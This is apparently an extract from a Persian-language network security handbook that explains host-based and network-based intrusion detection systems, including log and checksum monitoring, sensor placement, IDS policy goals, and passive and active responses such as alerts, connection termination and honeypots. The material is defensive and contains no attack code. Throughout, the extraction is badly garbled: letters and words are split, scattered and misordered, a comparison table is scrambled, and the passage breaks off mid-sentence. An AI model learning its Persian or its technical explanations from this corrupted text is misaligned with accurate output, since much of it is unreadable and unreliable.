H-IDSسيستم سنتی . افزاری روی سيستم نصب ميشودم  بصورت فرآیندی نر  H-IDS به بررسی لوگ فایلهای ثبت شده ، برای یافتن
ی پرداخت  ات خاص م ستم   .اطلاع ال در سي رای مث ای  Unixب وگ فایله ادی ل ت ع  Syslog-Messages-Lastlog-Wimp در حال
  . بررسی ميشودSystem-Application-Security Event Logsدر سيستم ویندوز فایلهای  .مورد بررسی قرار می گيرند
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د              H-IDSفرآیند   اگر  . بصورت دوره ای بدنبال لوگ فایل های جدید ثبت شده ميگردد و آنها را با قواعد از پيش تنظيم شده مقایسه می کن

د لازم است اطلاعات     ه کار خود را ب H-IDSبرای آنکه  .هشدار می دهدH-IDS  ،لوگ فایل با قاعده ای مطابقت کند ام ده درستی انج
د شده                        .لازم در لوگ فایلها ثبت شده باشد       اربردی تولي ه ای ک بنابراین در صورتی که اطلاعاتی که بيشتر جالب توجه است توسط برنام

ذکور            ا        باشد، لازم است آن اطلاعات توسط برنامه کاربردی م رار داده شود ی تاندارد ق ای اس ه بررسی    H-IDSداخل لوگ فایله ادر ب  ق
  .لوگ فایلهای برنامه کاربردی باشد

  
ستم عامل                 H-IDSاخيرا شکل جدیدی از      ه هسته سي د    ) Kernel( ایجاد شده است که درخواست های رسيده ب وع    .را بررسی ميکن ن ن ای

H-IDS          ا                      بر طبق نشانه های حملات شناخته شده برنامه شانه ه ن ن ا هریک از ای ستمی ب ریزی شده است بطوریکه اگر درخواست سي
  .تطبيق داشته باشد هشدار داده خواهد شد

  
د       لی قادرند فا  H-IDSهر دو نوع     رل کنن اده سازی      .های روی سيستم را از نظر دستکاری کنت ا پي ار ب ن ک سی   رمز Checksumای  نوی
ل ا و روی فای م س ابع در ه تفاده از یک ت ا اس د) Hashing (زی ب شود MDS همانن ام مي ره Checksum. انج وان م ذخي ه عن شود و ب ي

ا        سه ب شود         Checksumمرجعی برای مقای تفاده مي ل اس ه آن فای وط ب ق      . های دوره ای مرب سه عدم تطبي ا  Checksumاگر نتيجه مقای  ب
  . می کند و هشدار می دهد این اطلاعات را گزارش H-IDSمقدار اولی باشد، این فایل تغيير داده شده است پس 

  
  

  :ه مزيت اصلی زير استس دارای H-IDSسيستم 
  

م  H-IDS توليد می کند،  Log messageتا ماداميکه تهاجم انجام شده  • ترافيک حمله ای که به سيستم گسيل داده شده است را گ
  .نخواهد کرد

  
• H-IDS       د شخيص ده اجم را ت ودن ته د موفق ب ا بر   H-IDS .می توان ار را ب ن ک شانه های     Log messageرسی  ای  و دیگر ن

  .انجام می دهد )  Key systemاز قبيل دستکاری فایلهای پيکربندی یا (موجود روی سيستم 
  

• H-IDS، لاشهای غير مجاز برای دسترسی را تشخيص دهدت ی تواند با تعيين کاربران قانونی سيستمی.  
  
  
  
  

  : دارای مشکلات زير استH-IDSسيستم 
  

 . را شناسایی کند و غير فعال کندH-IDSند فرآیند مهاجم می توا .١
  

ا قواعد و نوشته های                          H-IDSسيستم   .٢ ل ی  فقط در مواردی اعلام خطر می کند که در خواست های سيستم و محتویات لوگ فای
  .ن شده تطبيق داشته باشدياز قبل تعي

  
ا   روی پشتيبانی و سيستم عامل تاثير می گذارند این م           H-IDSبرخی سيستمهای    .٣ ستمی    H-IDSسئله ب ه درخواستهای سي  ای ک

  .را بررسی می کند مربوط است
  
  
  

 N-IDSتشريح 
  

N-IDSشودآ بصورت فر زاری بخصوص نصب مي ستم سخت اف ه روی سي زاری است ک رم اف دی ن بکه N-IDS  .ین ارت واسط ش ک
زار      د ، به این معنی که تمام ترافيک شبک رموجود روی سيستم را به حالت بی قيد و شرط ميب           رم اف ه ن ارت ب ور   N-IDSه ، توسط ک عب

ر   ).}دقيقا مثل یک وسيله استراق سمع { فرستاده شده یا نهسيستمصرف نظر از اینکه ترافيک مذکور برای این   ( داده ميشود  پس از آن ب
ين شود و               ه جالب توجه است تعي ا بخشی از ترافيک ک شود ت  در صورت کشف   طبق قواعد و قوانين مربوط به حمله،ترافيک تحليل مي

  . توليد و ثبت ميشودEventحمله ، یک رویداد یا 
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ا ترافيک               N-IDSدر حال حاضر سيستم      ا ب شانه ه ن ن امپيوتری تعریف می شود و ای ستم ک ه در سي شانه های حمل  بگونه ای است که ن
 قادر است N-IDSسيستم .را برنمی داردآن N-IDS حال اگر حمله ای انجام شود که در فایل نشانه ها وجود نداشته باشد،.مقایسه ميشود

د  ين کن صد تعي ورت مق دا و پ ورت مب صد ،پ داء ، آدرس مق ادر است .ترافيک جالب توجه را براساس آدرس مب ازمان ق دین ترتيب س ب
  .ز حوزه نشانه های حمله را تعریف کنداترافيک خارج 

  
ارت   .یکی از کارتها جهت مشاهده و کنترل شبکه است           .  استفاده از دو کارت واسط شبکه است       N-IDSشایع ترین راه پيکربندی      ن ک ای

کارت مخفی دارای . ندارد به همين دليل به اتصالات ورودی پاسخ نمی دهد        IPنصب ميشود بطوریکه آدرس     ) Stealty(در حالت پنهان    
Protol Stack Boundاز قبيل پروب هایی از اینرو قادر به پاسخگویی به   نمی باشدPing ستم     ک  . نيست ا سي اط ب رای ارتب ارت دوم ب

رل               . و ارسال هشدار و اعلام مورد استفاده قرار ميگيرد         IDSمدیریتی   د شبکه تحت کنت ه از دی این کارت وابسته به شبکه داخلی است ک
  .مخفی است

  
  :ترتيب زير است  بهN-IDSمزايای 

  
  .ستهاجم نمی داند تحت کنترل امد بطوریکه  را کاملا مخفی کرN-IDSمی توان  •
  . برای تعداد زیادی سيستم استفاده کردN-IDSبرای کنترل و مشاهده ترافيک می توان از یک  •
• N-IDSمی تواند محتوای تمام بسته هایی که به سوی هدف در حرکت است را بدست آورد .  

  
  

  : شامل موارد زير استN-IDSستم ياشکالات س
  

  .باشد با قواعد و نشانه های از پيش تعيين شده تطبيق داشته فقط زمانی اعلام خطر می کند که ترافيک N-IDSسيستم  .١
  

رد امکان از دست دادن ترافيک توسط آن                 N-IDSبه دليل آنکه سيستم      .٢ ار ميگي ه ک ایگزین را ب  پهنای باند بالا و مسيرهای ج
  .) این مورد اخير یکی از اساسی ترین متد پکاندن این مدل از دزد گير ها است  (وجود دارد

  
٣. N-IDSقادر به بررسی ترافيک رمز شده نمی باشد .   

  
۴. N-IDSنمی تواند موفق بودن حمله را تعيين کند .   

  
دیر شبکه    باید تنظيمات خاصی   )که با به اشتراک گذاشتن شبکه واسط مخالف هستند      (يچ  یسو های مبتنی بر     در شبکه  .۵ توسط م

د        N-IDSانجام شود تا     شاهده کن ر    ( بتواند تمام ترافيک را م ه اکث ار خود                   ک ن ک ان از ای تفاده مهاجم ه علت ترس از سوءاس ا ب
  .)داری ميکنند 

 
 

   بهتر است؟ IDSکدام نوع 
  

د   N-IDSدر حاليکه   . بهتر است چون هر کدام مزایا و معایب خاص خود را دارند IDSت گفت کدام نوع حنمی توان به صرا  می توان
د      ميتواند تراف N-IDSچون یک (بيشتر مقرون به صرفه باشد   رل کن امپيوتر را کنت ادی ک داد زی ی در     ) يک تع ه نگران ا در سازمانها ک ام

   .تر است مناسب، H-IDS  .مورد کاربران قانونی بيشتر از هکرهای خارجی است
  

  . تهدیدات اصلی متوجه سازمان استIDSعمل دیگر در انتخاب نوع 
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  IDSنصب و تنظيم 
 

اذ شود لازم است        .های زیادی باید انجام شود      طرح ریزی  IDSبه منظور گرفتن حداکثر بهره از        ل از آنکه سياست مناسبی اتخ حتی قب
اد                        .اطلاعات جمع آوری گردد    ده لازم است سياست ایج ستمهای پيچي ر سي دیریت اجرا در آن لحاظ شود،همانند اکث شبکه تحليل شود و م

  : عبارتند از IDSمراحل اتخاذ سياست  .ارزیابی شود و قبل از پياده سازی مورد آزمایش قرار گيرد.شود
  

 IDS تعریف اهداف -١
  انتخاب آنچه باید کنترل و مشاهده گردد -٢
  انتخاب واکنش مناسب  -٣
  آستانهتنظيم حدود  -۴
  پياده سازی سياست -۵

  
  :حال به تشریح هر یک از این موارد می پردازیم

  
  

 IDSتعريف اهداف 
  

  : این اهداف عبارتند از .ده می کند نيازهای سياست را برآورIDSاهداف 
  

  کشف حملات  •
  

 پيشگيری از حملات  •
  

  کشف موارد تخلف از سياست  •
  

  ضمانت اجرایی در سياست استفاده  •
  

  ی در سياستهای ارتباطی یضمانت اجرا •
  

  جمع آوری مدارک  •
  

رد                  م ترکيب ک ا ه وان ب ا         .به خاطر داشته باشيد این اهداف را می ت ه س ستگی ب ه     اهداف واقعی ب شود       IDSزمانی دارد ک ال مي  در آن اعم
 امکان کشف حمله را به هنگام آغاز آن به سازمان بدهد یا با خاتمه دادن به  IDSبطوریکه نمی توان ليستی فراگير تهيه کرد امکان دارد

وارد     دنبIDSالبته اهدافی که توسط  .حادثه ، امکان جمع آوری مدارک و جلوگيری از صدمات بيشتر را فراهم کند     ين م ه هم ال ميشود ب
شود دود نمي د    .مح ازمان رخ ميده امپيوتری س ستمهای ک بکه و سي ه روی ش ایعی ک ر وق ی اکث ات جزئ ه اطلاع ط   از آنجائيک  IDSتوس
  .لذا می تواند نقض سياست و موارد استفاده واقعی از منابع شبکه را تعيين کند .گردآوری ميشود

  
  

  )Attack Recognition (شناسايی حمله
  

ه در حال        . بگونه ای برنامه ریزی ميشود که به دنبال وقایع معينی بگردد   IDSعمومی ترین کاربرد     ه حمل ه ای هستند ک ایع بگون ن وق ای
د  WIZ در نظر بگيرید که به دنبال آن دستور  ٢۵TCPبه عنوان مثالی ساده ارتباطی را به پورت        .وقوع را آشکار می سازد     ن  . می ای ای

ه  د  Wizardه ای از تلاش مهاجم برای اجری حفرهواقعه می تواند نشان شانه    . باشد Sendmailر نسخه قدیمی تر برنام ر ن شناسایی اکث
ن     .به عنوان مثال حدس زدن کلمه عبور یکی از شایع ترین حملات اینترنت است        .های حمله به سادگی ميسر نيست      ا ای ه ب به منظور مقابل

انی      ادرستنار داد که به دنبال سه بار تلاش  قرH-IDSنوع حمله می توان قاعده ای را در       برای ورود به یک اکانت در یک دوره زم
ه از روی          H-IDS به منظور انجام ان کار.کوتاه بگردد ه هر اکانت را بطور جداگان رای ورود ب ان تلاشهای نادرست ب باید تعداد و زم

  .ت انجاميد یا زمان آن به اتمام رسيد،اکانت را از نو تعریف کندلوگ فایلها پيگيری کند و در صورتی که یکی از این تلاشها به موفقي
  
  

دین اکانت و                     يبه عنوان مثالی پ    ور چن ه عب ان سعی در حدس زدن کلم ه همزم د ک چيده تر در شناسایی مهاجم مزاحمی را در نظر بگيری
ستم           سيستم را دارد، در این حالت مهاجم یک اکانت را دوبار امتحان نمی کند ، در عوض یک                    د سي د اکانت و چن کلمه عبور را روی چن
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رای هر اکانت فاصله                    .امتحان ميکند  ه ب ين تلاشهای نادرست را     حال اگر زمان هر تلاش به اندازه کافی طولانی باشد، زمان سنجی ک ب
د                شخيص ده وع ح            و اندازه ميگيرد نمی تواند سه بار تلاش نادرست روس یک اکانت را ت ن ن شخيص ای رای ت ا راه ب ه جمع آوری     تنه مل

ستمه     H-IDS اگر .اطلاعات لوگ فایلهای سيستمهای مختلف می باشد ان سي ه جمع آوری اطلاعات در مي وع     اقادر ب ن ن د ای  باشد ميتوان
  .تحليل را انجام دهد

  
  

  نظارت بر سياست
  

ر سياست است                        ام شود نظارت ب د انج ا بای د     IDS.از جمله مواردی که در کشف حملات حتم ه ای پيکربن ری          بگون ا پيگي ه ب شود ک ی مي
د رآن سياست نظارت کن رآورده شدن سياست شرکت، ب دم ب ا ع رآورده شدن ی وان .ب رین حالت می ت اده ت ه ای N-IDSدر س  را بگون

د          ال کن ام ترافيک خروجی وب از شبکه را دنب ه تم رد ک دی ک ه    .پيکربن دی ب ن پيکربن شدن       N-IDSای رآورده ن وارد ب د م  امکان می ده
ا               جدر این حالت ليستی از وب سایتها و       .ز اینترنت را دنبال کند    استفاده ا  سياست اط ب راری ارتب تاندارد شرکت برق ق اس ود دارد که بر طب

  . آن را ثبت می کندN-IDSدر صورت برقراری ارتباط ب این سایتها . آنها تخلف محسوب ميشود 
  

ا  N-IDSدر این حالت .رد می توان برای کنترل پيکربندی روتر و فایروال هم استفاده ک           N-IDSاز   به دنبال ترافيکی ميگردد که روتر ی
  .پيدا شدن چنين ترافيکی دلالت بر تخلف از سياست فایروال شرکت دارد.فایروال نباید آن را عبور دهد

  
  

  )Policy Enforcement (اعمال سياست
  

رود       به عنوان ابزار اعمال سياست باعث ميشود پيکربندی نظارت بر سIDSاستفاده از   يش ب و پ ه جل دم ب ال    .ياست یک ق ه منظور اعم ب
ر سياست        در. بگونه ای پيکربندی ميشود که به محض تخلف از سياست واکنش نشان دهد   IDSسياست   ورد نظارت ب ه در م ل ک مثال قب

ام شده است       .آورده شد  ر مجاز انج اط   از بر.اعمال سياست باعث ميشود علاوه بر شناسایی ارتباطی که به یک وب سایت غي راری ارتب ق
  .جلوگيری شود

  
  واکنش در برابر حمله

  
IDS   ،باشدی حمله میی با ارزش پس از شناسا     یابزار . IDSوع   حال پس از نيعدر  حادثه است وابتدایی  یی قابل استفاده در شناسا  وق

زار     را یحادثه به عنوان اب دار ی جمع آور ی ب تفاده م   ی فاثبت لوگ   و ک م ا اس وان در ا  یرا م ،  N-IDS . شود یله ه ا  ی ت  ین نقش بگون
د که ي ل تهی  لوگ فا يک ل ترافک ه به دنبال ارتباطات خاص بگردد و از     ک نمود   یره بند يکپ ان م  .ن وان  یهمزم  یصورت ه  را ب H-IDS ت
  .ردک شود ثبت ی بخصوص انجام میانت هاکه به اک را یی هایه تمام ورودکرد ک یره بنديکپ
  

   انتخاب آنچه بايد تحت نظارت قرار گيرد
  

ال اگر هدف       یبرا.ردکار خواهد   ک در آن    IDSه  ک است   یطي و مح  IDSرد تابع اهداف    يد نظارت قرار گ   یانتخاب آنچه با   شف ک  IDS مث
ام تراف   ی  با ی حملات ورود  یی شناسا ی برا IDS.ت قرار گرفته باشد   کروال شر ینترنت و خارج از فا    ی ا ی رو IDSحملات باشد و      يکی د تم

ه موفق   یحملات روال قرار داد تا فقطی را داخل فا   IDS توان   یگر م یق د یبه طر  .ندکرا نظارت   د  ی آ یروال م ی فا یه به سو  ک ه گذشتن    ک ب
  :  زیر توجه کنيد لکشبه  . ردک صرف نظر ی خروجيک توان از ترافین حالت میدر ا .دی نماییروال شده اند را شناسایاز فا

  
  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٤٣٧    صفحه

  
  

  .آورده شده است د نظارت شود ینچه با از آییاست ، مثال هاي به ازاء هر س زیردر جدول
  

  
  سياست

  

  
N-IDS  

  

  
H-IDS  

  
  

  ملاتحکشف 
  
  
  

  
ام تراف یتم ل س ک يک د ح دفهايه ب  یستم ه
روال سرور وب  یفا( شود ی وارد م  یاحتمال

  ..) ویاربردکسرور  و
  

  
را  اموفق ب لاش ن هایت ق ی ورود تلاش  موف

را رف سیب اي ورود از ط  دور یستم ه
  دست

  
  

  لات از حمیريشگيپ
  

  ملاتحکشف همانند 
  

  شف حملاتکهمانند 
  

  
  استيشف تخلف از سک

  

  
ام تراف کتم ايه از سک Http ي  یستم ه

تیلاک رد  ن شمه ميگي ک  .  سرچ ام ترافي تم
FTPای کلاینت ستم ه صالات سي ه از ات   ک
ایرو ورت ه شمه مي معی پ  یوب سرچ
  .رديگ
  

  
  . HTTPارتباطات  موفق 

  . FTPارتباطات موفق 
  .نلود شده دایل هایفا

  
  

  
  است استفادهياعمال س

  
   .استيشف تخلف از سکهمانند 

  

  
   .استيشف تخلف از سکهمانند 
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  است ارتباطياعمال س

  
ال شده      يه س ک يکیتمام تراف  است ارتباط اعم
  .ندک یرا نقض م

  
ا به  ی  ارتباطات موفق از طرف آدرس ها و      

   . ممنوعهیطرف پورت ها
  

  
  ک مداریجمع آور

  
 ستم هدف و   يه از س  ک يکیمام تراف  ت یمحتوا

   .مهاجم گرفته است

  
رف س ق از ط ات موف اجم يارتباط ستم مه

رف س   اموفق از ط ات ن ام ارتباط ستم يتم
   .مهاجم

  
  IDSاست يطبق س  از اطلاعات تحت نظارت برییها ثالم

  
سور   !!!  باشد  ید تحت نظارت باشد م        ی  تابع آنچه با   سنسور ها ،   یريرارگقدر مرحله بعد محل      ا را م     سن وان در   ه ا ی ت ا خ روال یرج ف

تفاده م   ی و پردازش لوگ فا یه به منظور جمع آور    ک یستمهاي س یا رو ، ی  حساس   یستم ها ي س ی رو یه داخل ک شب یرو ا اس رار   یله  شود ق
شاهده  د قادیه سنسور با کد  ي توجه داشته باش   یلين موضوع خ  ی به ا  IDS سنسور   یري درباره محل قرارگ   یريم گ يبه هنگام تصم  . داد ر به م
  . ه و ورود به آن باشدک شبيکع جالب توجه ترافیوقا
  

سور      نيستيد ، روال  یع جالب توجه از فا    یل به گذشتن وقا   یاگر ما  رار دادن سن ا  N-IDS ق ه طور   . ستي  نیروال انتخاب خوب  ی در داخل ف ب
ط رو  یوقا چهنمشابه چنا رل  ک یع جالب توجه فق ده اصل  کنت ب )Primary Domain Controller ( حوزه ینن دوز  یه وک در ش  ثبت  NTن

ا يامپک  یک ی رویکیزي اگر مهاجم از لحاظ فی قرار داده شود حتیننده حوزه اصلکنترل ک یست نرم افراز رو ي شود لازم ن   یم  ییوتر ج
   .ه قرار داشته باشدکدر شب

  
  

ب  د اگر د  يگر توجه داشته باش   ی د یديلکته  ک ن یکد به   ی با N-IDSبه هنگام قرار دادن سنسور       ا    کر ش ه ج تفاده شده   يی هاب از سو   یه ب چ اس
سور    ورت   N-IDSاست و سن ه پ ط ب سور   يی سو  فق ت ه  بN-IDSچ اتصال دارد سن د  ک  یدرس ط تراف ک رد، چون  ک ار نخواه ه ک يکی ه فق

تاده م  ک ی است به پورت   N-IDSمخصوص خود سنسور     ب  ی  شود در ا یه سنسور به آن خورده است فرس ه ش ا کن گون  ی م یچيی سو یه ه
  ) شودیده می دیره بنديک هر دو پبعدیل کدر ش(رد ک استفاده N-IDS سنسور ین برایگزیدو جاز اتوان 

  
  

   )Switch Monitoring Port ( چيسویاستفاده از پورت ناظر  •
  

   )Network Tab ( هک شبیراه •
  
ه منظور اش    یاه از کت شبیریند چون مد  کدا  يه تداخل پ  کت شب یریف مد یا وظا یچ  يین است استفاده از پورت سو     کمم ورت ب ی ال زداکن پ  ی
ب تفاده مکش دک یه اس ر ا. ن سیعلاوه ب وارين در ب ط اميیی از س ه فق ر لحظ ا در ه ر کچ ه کان نظارت ب ود دارد ی ورت وج  یبرخ( پ
د  ی م  Spanningارخانجات سازنده آن را      ک ا از رو   )  نامن اظر نم   یعموم ورت ن وان  ی پ رات    ت ر ستون فق از . ردک چ را نظارت  يی سو ب

 با سرعت صد (    Base T 100 از اتصال N-IDSند و سنسور ک یار مکه يت در ثانیگابايچ با سرعت چند گيی سوستون فقراته کآنجا
از م       را N-IDSاتصال  نوع  ن  یا. ندک ارک د توان ی نم یچ صورت يند پس در ه   ک یاستفاده م ) ه  يت در ثان  يبمگا ه هم   یاز ارسال ب ن ي دارد ب
   .ستيسر ني میره بنديکن پی ال اتصال دادن ارتباطات دريدل
  

 Tapعموما . است رده ک به هم وصل     )چ  يیسو مانند روتر و   (له را   يه دو وس  ک است   یمي س یرفعال رو ي اتصال غ  یک Tapا  ی یسه راه 
 N-IDS سنسور   يکان مشاهده تراف  کب ام ين ترت یبد.  هم به همان هاب وصل شده است       N-IDSه سنسور ک شود   ی وصل م  یبه همان هاب  

ذا نم         ین فا يما ب ي مستق N-IDS سنسور   یره بند يکن پ یا ه در ک آنجا   زا.   شود یهم م فرا ش  یروال و روتر قرار نگرفته است ل وان نق  در ی ت
  . داشته باشدیارتباط ده
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 ٤٣٩    صفحه

  
  
  

  انتخاب نحوه واکنش
  
  

ر      ی م IDS  اهداف نش مناسب هم تابع   کانتخاب وا . د نظارت شود  یهمانند انتخاب آنچه با    ام ب ه م     باشد به هنگ وان وا   یوز واقع ر   نشک  ت  غي
ال    نشک وا ای)  شود یت مهاجم نم  ي مانع فعال  مقيتمسه به طور    کنش  کوا (فعال ش کوا ( فع ستق  ک  ین انع فعال    ک ی م  یما سع  يه م د م اجم   ي ن ت مه
ت ين حالت فعال  یه در ا  کار خود ادامه دهد بل    کبه   عه رخ دهد و   قد وا يه اجازه ده  کست  ين ن یاغير فعال   نش  کمنظور از وا  . ردکاتخاذ  ) گردد

ا وا کنش خودکن استفاده از وایا د علاوه برین تفاوت مهم را به خاطر بسپار    یا،  رد  ي گ ی انجام نم  IDSما توسط   يمتقابل مستق  ش کار ب ه ک  ین
  .مينک ی می را بررسغير فعال و واکنش فعال ینش هاک از وایکدر ادامه هر.  انتخاب شودیابید با ارزی شود باینترل مکتوسط انسان 
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 ٤٤٠    صفحه

  غير فعالواکنش 
  
  
ال ا  : ن امر ساده است   یل ا ي دل . غير فعال است     نشکرد وا ي گ یرمجاز انجام م  يشف ورود غ  که هنگام   ک یارکن  یع تر یشا نش ک ه وا ک نیاحتم

ار ک املا خودک  ی در روشها یاده ساز ي ن پی ساده تری داراعين حالدر م است وک مجاز شود   يک تراف یفروپاش ه و ی باعث تجز  غير فعال 
  . اشد بیم
  

ه جمع آور     ي  ب غير فعال نش  کامل وا کبطور   • ا م                 یشتر جنب راد مجاز از آنه ا توجه دادن اف ع      ی اطلاعات دارد وب د در موق  خواه
   از خود نشان دهند ی تریت قويلزوم فعال

  
  :ردکر اشاره ی توان به موارد زی مغير فعالنش کدر مورد وا

  
  )Shanning(پرهيز کردن 

  
در . ده پنداشتن آن است  ی ناد ا ی  ردن و ک ز  ي  شود پره   یه در برابر تهاجم انجام م     ک ینشکن وا یشتريب ن و ی تر یردن امروزه عموم  کز  يپره
 یش فرض اتخاذ م    ينش را بصورت پ   کن وا یند ا ک ی را نصب م   و دیوار آتش    نترنت را برقرار    یاط ا به سازمان ارت  کثر موارد پس از آن    کا
ا   یلات از جانب ا ور نسبت به توقف حم   ک سازمان مذ  اینجا در    .ندک ه ف اد م   ینترنت ب د ک یروال خود اعتم وع وا ی از ا. ن نش بصورت  ک ن ن

ر موجود انجام   يس غ ی نسبت به سرو   ین حالت اگر حمله ا    یدر ا .  شود ی گفته م  ی مصنوع IDSه به آن    ک شود   ی هم استفاده م   ی تر یتصنع
ی رز وجود دارد خوب      (ردي گیده می آنرا نادIDSر باشد یب ناپذ يروال در برابر آن آس    یه فا ک باشد   یا حمله به صورت   یشود   ه خيل دو نکت

ه ا    یتيستم حساس يه س کن است   یستم ا يده گرفتن حمله از جانب س     ی ناد یل خوب برا  ي دل یک.  )دقت کنيد  را      ی  نسبت ب دارد ب ه ن ال   ین حمل  مث
ه سرور  ي علSend mail وان حمله تیگر می دیبه عنوان مثال. ردک اشاره UNIXه سرور وب ي علMicrosoft IIS توان به تهاجم یم

Microsoft Exchangeد  ت يدام از جملات نامبرده به موفقکچ يه.  را نام برد ه آن آس   ي د چون س يرس نخواه سبت ب ذ يستم ن  یر م یب ناپ
  .باشد

  
  )Logging(واقعه نگاری 

  
ردد  ت جمع آوران دارد درباره آن اطلاعاکه امک تا آنجا ینوع واقعه ا  اگر به محض بروز هر یواقعه نگار  وان تحل یم ی گ  یل جزئ ي  ت

ر ام داد بطوریت اره آن انج صمیک درب رایريم گيه در ت دامات بی ب دک ی مکمکشتر ي اق ار. ن ه نگ شک وایواقع وع ین ال از ن ر فع  غي
د از ی م  IDS.است  ه اطلاعات    توان د آدرس   ( شده  ی جمع آور پای ان و IDSهمانن ار   زم ه   یت وع واقع د ی فرآIDخ ن ...) واربر ک  ID  ،ن

   .ندک ییواقعه  شناسا
  
  

  واقعه نگاری تکميلی
  

ه م   ي اطلاعات بی با جمع آور   یليمک ت یواقعه نگار  اره واقع وان وا یشتر درب ال   نش ک  ت ر فع و غي ر  یق ام داد یت را .  انج ال اگر در   یب  مث
 ID  ،اربرک ID شود یباعث م یليمک تی واقعه نگار ،بت گرددث و شماره پورت IP فقط آدرس تاتصالا تمام ی برای عادیواقعه نگار

  . گرددی ارتباط واقعه نگاری موجود رويکل ترافک ند ویفرآ
  

وع وا   ی از ا  یگرینوع د  ه نگار           ک ن ن تفاده از سرور مخصوص واقع د س    ی در ا .  است  ینش اس ه نگار  ي ن حالت سازمان از چن  یستم واقع
ه نگار   ین سرورها یا.  شوند یه روشن م   واقع یک ییبه محض شناسا   ع شده اند و   یه توز ک شب یه رو کند  ک یاستفاده م   ی مخصوص واقع

شخ    ینند از ا  ک یثبت م   و یاطلاعات به صورت جزء به جزء جمع آور        دا تراف   ين اطلاعات جهت ت تفاده م    يک ص مب چنانچه    شود و   ی اس
  .ردک استفاده ک توان از آنها به صورت مدرینده انجام شود می در آیاقدامات قانون

  
  

  اخطار دادن
  

اخطار  . ندک آن واقع مطلع ینفر را درباره    خطار دادن چند   ا  تواند با  ی م IDS  ،  داده شود  یه به هنگام بروز واقعه فقط آگاه      کنی ا یبه جا 
 اشاره  جر پيام ي پ و email، ارسال    ، آژیر خطر زنک توان به صفحه چشمیه از آن جمله م    ک داشته باشد    ی متفاوت یل ها ک تواند ش  یم
ه وضع     اخطا یانتخاب چگونگ . ردک ه و   یچگونگ  ت و ير ب د  يک پ  واقع را   یستگب  IDS یر بن ال اگر      ی دارد ب ا  IDS مث د   ٢۴ ت  ساعت بع
ه م ی ميکترونکام پست اليست با استفاده از پي زن مناسب ن   ک شود استفاده از صفحات چشم     ینترل نم ک ان دوردست  ک  توان اخطار را ب

ب يک جاد ترافیل اين دلیبر اه به موقع نرسد وجود دارد علاوه کنیان اکرد اما امکارسال   اجم از وجود    ک ه ممک ش  اطلاع  IDSن است مه
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 ٤٤١    صفحه

ا معمولا نم      )Pager (جريت استفاده از پ   یند مز کدا  يپ وان اطلاعات ز  ی اعلام به موقع اخطار است ام ه  یافک  اد وی  ت د بطور ک ارائ ه یک ن
   . شودیلها بررسید لوگ فای انجام اقدام مناسب ابتدا بایبرا
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 ٤٤٢    صفحه

   فعالواکنش
  
  

ور به دقت ک اقدامات مذحواشید ین را انجام داد البته باکن اقدام مم یع تر یاهش اثرات واقعه سر   ک توان به منظور     یو م يتکنش ا کله وا يبوس
ایبررس ورد آزم د آن م ه قواع رار گی مجموع وان بیو را ميتکنش اکن صورت وایر ايدر غ. رديش ق ردد و ت  از یحت اعث اخلال گ
   :ردکر اشاره ی توان به اقدامات زیو ميتکنش اکدر مورد وا. ندک یري جلوگیاربران قانونک به یس دهیسرو

  
  

  پروسس و sessionsخاتمه دادن به اتصال 
  

صال کن ی خاتمه دادن به واقعه باشد ا فهم ،   اقدام قابل  آسان ترین د  یپروسس شا  و sessionsخاتمه دادن به اتصال      ه ک  یار با خاتمه دادن ات
 کاربر یا  sessionsبه  خاتمه دادن ،) ندک ی استفاده مTCPه واقعه کاست ميسر  یار فقط وقتک این( ن است یمهاجم در حال استفاده از ا 

   . شودیل زا شده است اجرا مکه مشک یندیآفرخاتمه دادن 
  

اقدام واضح  . ندک ی استفاده م  یستميند از منابع س   ی مثال اگر فرا   یبرا. مه داده شود  د خات ی با یزيرد چه چ  کن  يي توان تع  ی واقعه م  یبا بررس 
 داشته باشد     ی دسترس  ییلهایبه فا  ایند  کدا  ي دست پ  یه راه نفوذ خاص   بند  ک ی م ی سع یاربرکاگر  . ردن آن است  ک مقابله با آن متوقف      یبرا
اجم  و. اتمه داده شوداربر خکآن  sessionsلازم است به     ،   ستيدن آن ن  یه مجاز به د   ک تفاده از اتصال    ی سع یبالاخره اگر مه ا اس  دارد ب
  .ن اتصال است یاقدام مناسب خاتمه دادن ا. ندکدا يستم دست پي نفوذ موجود سی به راههایه اکشب
  
  
  

  پيکره بندی مجدد شبکه
  
  

وان نت  یرد م  ي  گ یت م  ت صور ک شر یستمهاي به س  یابي دست ی برا یادی خاص تلاش ز   IP آدرس   یکاگر مشاهده شود از      جه گرفت از   ي ت
ی مجدد ره بنديکعمل پ.  شود یا روتر انجام میروال ی مجدد فایره بنديکه پکن صورت است ی در حال انجام است در ا    یآن آدرس تهاجم  

ام م  یم ئدا بصورت موقت و   ه آدرس   ی ه اک رد ي  گی انج  یک  يک ل ترافک ردن ک متوقف  (ت کرد شر ک  عملی ان رو تبعات  وIPن امر ب
تفاده از قواعد ف    ی م . داردیبستگ) ت خواهد داشتک شربازده ی رویرات منف ي تاث یت تجار کشر ا اس وان ب ا ي ت رار ی  جدیلتره  ید از برق

   .ردکت را اعمال ین محدودی خاص ای پورت هایا روی رد وک یريت متخلف جلوگی از سایهرگونه اتصال
  
  

  فريب 
  

اجم  ی م ی سع یب ینش فر ک شد در وا   با یب دادن م  یو فر يتکنش ا کن نوع وا  یسخت تر  اور برسد   ی ه اب  ی شود مه  ه موفق شده است و   ک ن ب
ب ي ن ترتی شود بدیه هدف تهاجم قرار گرفته است در برابر مهاجم محافظت م   ک یستميرده است همزمان س   ک ن ییرا شناسا   او یسکهنوز  

  . شودی انتقال داده میان امنکمستم هدف به ي سیاتي حی شود با بخش های جهت داده میگریستم ديه مهاجم به سک
  

ا ک است یستمي س Honey Pot.  ميباشد Honey Pot  یبینش فرک از انواع وایکی رار م  یستم اصل ي  سیه به ج اجم را   رد وي  گی ق مه
الش ثبت م    و تمام  شودیمنظارت رد مهاجم ک عملیهمزمان رو.  زندیگول م ردد یاعم ه اطلاعات   . گ ستند ي  نی واقع Honey Potالبت

  . رسدیت به نظر میسا یثر موضوعات موجود روکه مشابه اک است یما بگونه اا
  
  

   و تمام خودکارواکنش نيمه خودکار
  
دامات از پ        کمه خود ينش ن کوا ي ش تعيار عبارت است از مجموعه اق ام رخ داد  ک ن شده  ي ه هنگ ه ا نه ب ن ی ا. شوند ی خاص اجرا م   ی واقع
 ین اقدامات میا . گرددیم اماتد از اقی خاص باعث به راه افتادن مجموعه ایارهاکن ييتعه با ک مستند شده است   ینش تابع پروسه ا   کوا

